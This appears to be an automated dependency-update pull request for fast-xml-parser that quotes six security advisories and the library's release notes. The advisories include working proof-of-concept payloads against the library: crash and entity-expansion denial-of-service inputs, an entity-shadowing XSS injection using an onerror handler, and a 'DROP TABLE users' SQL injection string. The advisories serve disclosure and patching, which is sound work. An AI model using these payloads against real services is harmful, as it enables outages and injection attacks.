chore(deps): update dependency fast-xml-parser to v5.5.7 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
fast-xml-parser	5.3.3 → 5.5.7

GitHub Vulnerability Alerts

CVE-2026-25128

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#​9999999; or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:

"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },

The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

• [0-9]{1,7} matches up to 9,999,999
• [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:

val = val.replace(entity.regex, entity.val);

This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:

poc/
├── package.json
├── server.js

package.json

{ "dependencies": { "fast-xml-parser": "^5.3.3" } }

server.js

const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));

Run

# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#&#8203;9999999;</root>' http://localhost:3000/parse

Result

Server crashes with:

RangeError: Invalid code point 9999999

Alternative Payloads

<!-- Hex variant -->
<?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute -->
<?xml version="1.0"?><root attr="&#&#8203;9999999;"/>

Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

• API servers accepting XML payloads
• File processors parsing uploaded XML files
• Message queues consuming XML messages
• RSS/Atom feed parsers
• SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

CVE-2026-25896

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

In DocTypeReader.js, entity names are passed directly to RegExp():

entities[entityName] = {
    regx: RegExp(`&${entityName};`, "g"),
    val: val
};

An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.

The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:

// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+";  // no dot

Shadowing all 5 built-in entities

Entity name	Regex created	Shadows
l.	/&l.;/g	<
g.	/&g.;/g	>
am.	/&am.;/g	&
quo.	/&quo.;/g	"
apo.	/&apo.;/g	'

PoC

const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
</root>`;

const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>

No special parser options needed - processEntities: true is the default.

When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

& can be shadowed too:

const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;

const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'

Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

• Default config, no special options
• Attacker can replace any < / > / & / " / ' with arbitrary strings
• Direct XSS vector when parsed XML content is rendered in a page
• v5 and v6 both affected

Suggested fix

Escape regex metacharacters before constructing the replacement regex:

const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
    regx: RegExp(`&${escaped};`, "g"),
    val: val
};

For v6, add . to the blacklist in validateEntityName:

const specialChar = "!?\\/[].{}^&*()<>|+";

Severity

CWE-185 (Incorrect Regular Expression)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)

Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

CVE-2026-26278

Summary

The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.

Details

There is a check in DocTypeReader.js that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads.

However, it doesn’t stop a much simpler variant.

If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.

The problem is in replaceEntitiesValue() inside OrderedObjParser.js. It repeatedly runs val.replace() in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.

Relevant code:

DocTypeReader.js (lines 28–33): entity registration only checks for &

OrderedObjParser.js (lines 439–458): entity replacement loop with no limits

PoC

const { XMLParser } = require('fast-xml-parser');

const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;

console.time('parse');
new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML
console.timeEnd('parse');

// 5,000 chars × 100 refs takes 200+ seconds
// 50,000 chars × 1,000 refs will hang indefinitely

Impact

This is a straightforward denial-of-service issue.

Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests.

In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.

Workaround

Avoid using DOCTYPE parsing by processEntities: false option.

CVE-2026-27942

Impact

Application crashes with stack overflow when user use XML builder with prserveOrder:true for following or similar input

[{
    'foo': [
        { 'bar': [{ '@​_V': 'baz' }] }
    ]
}]

Cause: arrToStr was not validating if the input is an array or a string and treating all non-array values as text content.
What kind of vulnerability is it? Who is impacted?

Patches

Yes in 5.3.8

Workarounds

Use XML builder with preserveOrder:false or check the input data before passing to builder.

References

Are there any links users can visit to find out more?

CVE-2026-33036

Summary

The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (<, >, etc.) are processed through a separate code path that does NOT enforce any expansion limits.

An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.

Affected Versions

fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)

Root Cause

In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops:

1. Lines 638-670: DOCTYPE entities — expansion counting with entityExpansionCount and currentExpandedLength tracking. This was the CVE-2026-26278 fix.
2. Lines 674-677: lastEntities loop — replaces standard entities including num_dec (/&#([0-9]{1,7});/g) and num_hex (/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all.

The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.

Proof of Concept

const { XMLParser } = require('fast-xml-parser');

// Even with strict explicit limits, numeric entities bypass them
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxTotalExpansions: 10,
    maxExpandedLength: 100,
    maxEntityCount: 1,
    maxEntitySize: 10
  }
});

// 100K numeric entity references — should be blocked by maxTotalExpansions=10
const xml = `<root>${'&#&#8203;65;'.repeat(100000)}</root>`;
const result = parser.parse(xml);

// Output: 500,000 chars — bypasses maxExpandedLength=100 completely
console.log('Output length:', result.root.length);  // 500000
console.log('Expected max:', 100);  // limit was 100

Results:

• 100K &#​65; references → 500,000 char output (5x default maxExpandedLength of 100,000)
• 1M references → 5,000,000 char output, ~147MB memory consumed
• Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars
• Hex entities (A) exhibit the same bypass

Impact

Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause:

• Excessive memory allocation (147MB+ for 1M entity references)
• CPU consumption during regex replacement
• Potential process crash via OOM

This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.

Suggested Fix

Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.

Workaround

Set htmlEntities:false

CVE-2026-33349

Summary

The DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.

Details

The OptionsBuilder.js correctly preserves a user-supplied value of 0 using nullish coalescing (??):

// src/xmlparser/OptionsBuilder.js:111
maxEntityCount: value.maxEntityCount ?? 100,
// src/xmlparser/OptionsBuilder.js:107
maxEntitySize: value.maxEntitySize ?? 10000,

However, DocTypeReader.js uses truthy evaluation to check these limits. Because 0 is falsy in JavaScript, the entire guard expression short-circuits to false, and the limit is never enforced:

// src/xmlparser/DocTypeReader.js:30-32
if (this.options.enabled !== false &&
    this.options.maxEntityCount &&          // ← 0 is falsy, skips check
    entityCount >= this.options.maxEntityCount) {
    throw new Error(`Entity count ...`);
}

// src/xmlparser/DocTypeReader.js:128-130
if (this.options.enabled !== false &&
    this.options.maxEntitySize &&            // ← 0 is falsy, skips check
    entityValue.length > this.options.maxEntitySize) {
    throw new Error(`Entity "${entityName}" size ...`);
}

The execution flow is:

1. Developer configures processEntities: { maxEntityCount: 0, maxEntitySize: 0 } intending to block all entity definitions.
2. OptionsBuilder.normalizeProcessEntities preserves the 0 values via ?? (correct behavior).
3. Attacker supplies XML with a DOCTYPE containing many large entities.
4. DocTypeReader.readDocType evaluates this.options.maxEntityCount && ... — since 0 is falsy, the entire condition is false.
5. DocTypeReader.readEntityExp evaluates this.options.maxEntitySize && ... — same result.
6. All entity count and size limits are bypassed; entities are parsed without restriction.

PoC

const { XMLParser } = require("fast-xml-parser");

// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 0,    // should mean "zero entities allowed"
    maxEntitySize: 0       // should mean "zero-length entities only"
  }
});

// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
  entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  ${entities}
]>
<foo>&e0;</foo>`;

// This should throw "Entity count exceeds maximum" but does not
try {
  const result = parser.parse(xml);
  console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
  console.log("SAFE:", e.message);
}

// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 1,
    maxEntitySize: 100
  }
});

try {
  safeParser.parse(xml);
  console.log("ERROR: should have thrown");
} catch (e) {
  console.log("CONTROL:", e.message);  // "Entity count (2) exceeds maximum allowed (1)"
}

Expected output:

VULNERABLE: parsed without error, entities bypassed limits
CONTROL: Entity count (2) exceeds maximum allowed (1)

Impact

• Denial of Service: An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured maxEntityCount: 0 or maxEntitySize: 0, intending to prohibit entities entirely.
• Security control bypass: Developers who explicitly set restrictive limits to 0 receive no protection — the opposite of their intent. This creates a false sense of security.
• Scope: Only applications that explicitly set these limits to 0 are affected. The default configuration (maxEntityCount: 100, maxEntitySize: 10000) is not vulnerable. The enabled: false option correctly disables entity processing entirely and is not affected.

Recommended Fix

Replace the truthy checks in DocTypeReader.js with explicit type checks that correctly treat 0 as a valid numeric limit:

// src/xmlparser/DocTypeReader.js:30-32 — replace:
if (this.options.enabled !== false &&
    this.options.maxEntityCount &&
    entityCount >= this.options.maxEntityCount) {

// with:
if (this.options.enabled !== false &&
    typeof this.options.maxEntityCount === 'number' &&
    entityCount >= this.options.maxEntityCount) {

// src/xmlparser/DocTypeReader.js:128-130 — replace:
if (this.options.enabled !== false &&
    this.options.maxEntitySize &&
    entityValue.length > this.options.maxEntitySize) {

// with:
if (this.options.enabled !== false &&
    typeof this.options.maxEntitySize === 'number' &&
    entityValue.length > this.options.maxEntitySize) {

Workaround

If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.

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Release Notes

NaturalIntelligence/fast-xml-parser (fast-xml-parser)

v5.5.7

Compare Source

v5.5.6

Compare Source

v5.5.5

Compare Source

v5.5.4

Compare Source

v5.5.3

Compare Source

v5.5.2

Compare Source

v5.5.1: integrate path-expression-matcher

Compare Source

• support path-expression-matcher
• fix: stopNode should not be parsed
• performance improvement for stopNode checking

v5.5.0

Compare Source

v5.4.2

Compare Source

v5.4.1

Compare Source

v5.4.0: Separate Builder

Compare Source

XML Builder was the part of fast-xml-parser for years. But considering that any bug in builder may false-alarm the users who are only using parser and vice-versa, we have decided to split it into a separate package.

Migration

To migrate to fast-xml-builder;

From

import { XMLBuilder } from "fast-xml-parser";

To

import  XMLBuilder  from "fast-xml-builder";

XMLBuilder will be removed from current package in any next major version of this library. So better to migrate.

v5.3.9: support strictReservedNames

Compare Source

Full Changelog: NaturalIntelligence/fast-xml-parser@v5.3.9...v5.3.9

v5.3.8: handle non-array input for XML builder && support maxNestedTags

Compare Source

• support maxNestedTags
• handle non-array input for XML builder when preserveOrder is true (By Angelo Coetzee)
• save use of js properies
  Full Changelog: NaturalIntelligence/fast-xml-parser@v5.3.7...v5.3.8

v5.3.7: CJS typing fix

Compare Source

What's Changed

• Unexport X2jOptions at declaration site by @​Drarig29 in #​787

New Contributors

• @​Drarig29 made their first contribution in #​787

Full Changelog: NaturalIntelligence/fast-xml-parser@v5.3.6...v5.3.7

v5.3.6: Entity security and performance

Compare Source

• Improve security and performance of entity processing
  • new options maxEntitySize, maxExpansionDepth, maxTotalExpansions, maxExpandedLength, allowedTags,tagFilter
  • fast return when no edtity is present
  • improvement replacement logic to reduce number of calls

Full Changelog: NaturalIntelligence/fast-xml-parser@v5.3.5...v5.3.6

v5.3.5

Compare Source

v5.3.4: fix: handle HTML numeric and hex entities when out of range

Compare Source

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